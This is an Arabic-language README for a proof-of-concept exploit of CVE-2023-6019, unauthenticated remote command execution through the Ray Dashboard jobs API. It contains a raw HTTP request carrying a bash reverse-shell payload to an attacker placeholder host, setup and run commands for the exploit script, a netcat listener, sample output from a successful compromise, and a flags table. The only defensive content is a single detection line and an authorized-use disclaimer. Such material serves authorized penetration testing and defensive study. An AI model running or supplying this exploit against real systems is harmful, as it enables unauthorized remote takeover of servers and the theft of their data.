
استغلال إثبات المفهوم لـ CVE-2023-6019 - تنفيذ تعليمات برمجية عن بُعد عبر واجهة برمجة تطبيقات وظائف لوحة تحكم Ray غير المصادق عليها.
أداة إثبات مفهوم لـ CVE-2023-6019 — تنفيذ أوامر عن بُعد عبر واجهة برمجة تطبيقات وظائف Ray Dashboard غير المصادق عليها.
إعداد oguiii
Anyscale Ray هو إطار عمل مفتوح المصدر لأحمال العمل الموزعة في التعلم الآلي والذكاء الاصطناعي. الإصدارات السابقة لـ 2.6.4 تعرض واجهة برمجة تطبيقات لتقديم الوظائف من خلال Ray Dashboard (المنفذ الافتراضي 8265) بدون أي مصادقة، مما يسمح للمهاجم غير المصادق بتقديم وظائف عشوائية وتحقيق تنفيذ أوامر عن بُعد على المضيف.
يقبل نقطة النهاية /api/jobs/ حمولة JSON تحتوي على حقل entrypoint يتم تنفيذه كأمر شل بواسطة عملية Ray العاملة - بدون الحاجة إلى بيانات اعتماد.
POST /api/jobs/ HTTP/1.1
Host: <target>:8265
Content-Type: application/json
{
"entrypoint": "bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'",
"runtime_env": {},
"job_id": null,
"metadata": {}
}
git clone https://github.com/joaquinrrr/CVE-2023-6019
cd CVE-2023-6019
pip install requests
python3 CVE-2023-6019.py -t <TARGET_IP> -p <PORT> -l <LHOST> -lp <LPORT>
# بدء المستمع
nc -lvnp 4444
# تشغيل الأداة
python3 CVE-2023-6019.py -t 192.168.1.100 -p 8265 -l 192.168.1.10 -lp 4444
[*] التحقق من إصدار Ray على 192.168.1.100:8265...
[*] إصدار واجهة برمجة تطبيقات Ray : 4
[*] إصدار Ray : 2.6.3
[+] ثغرة! إصدار Ray 2.6.3 متأثر بـ CVE-2023-6019
[*] الهدف : http://192.168.1.100:8265/api/jobs/
[*] الشل العكسي : 192.168.1.10:4444
[*] جارٍ تقديم الوظيفة...
[+] تم تقديم الوظيفة بنجاح!
[+] معرف الوظيفة: raysubmit_Gztg89LZuTa8Jevc
[>] تأكد من أن المستمع جاهز:
nc -lvnp 4444
ابحث عن طلبات POST غير متوقعة إلى /api/jobs/ على المنفذ 8265 في سجلات HTTP الخاصة بك أو حركة الشبكة.
هذه الأداة مخصصة لاختبار الاختراق المصرح به والأغراض التعليمية فقط.
المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.
احصل دائمًا على إذن كتابي مناسب قبل الاختبار.
| العَلَم | الوصف | الافتراضي |
|---|
-t | عنوان IP الهدف أو اسم المضيف | مطلوب |
-p | منفذ Ray Dashboard | 8265 |
-l | عنوان IP للمهاجم (شل عكسي) | مطلوب |
-lp | منفذ المهاجم (شل عكسي) | مطلوب |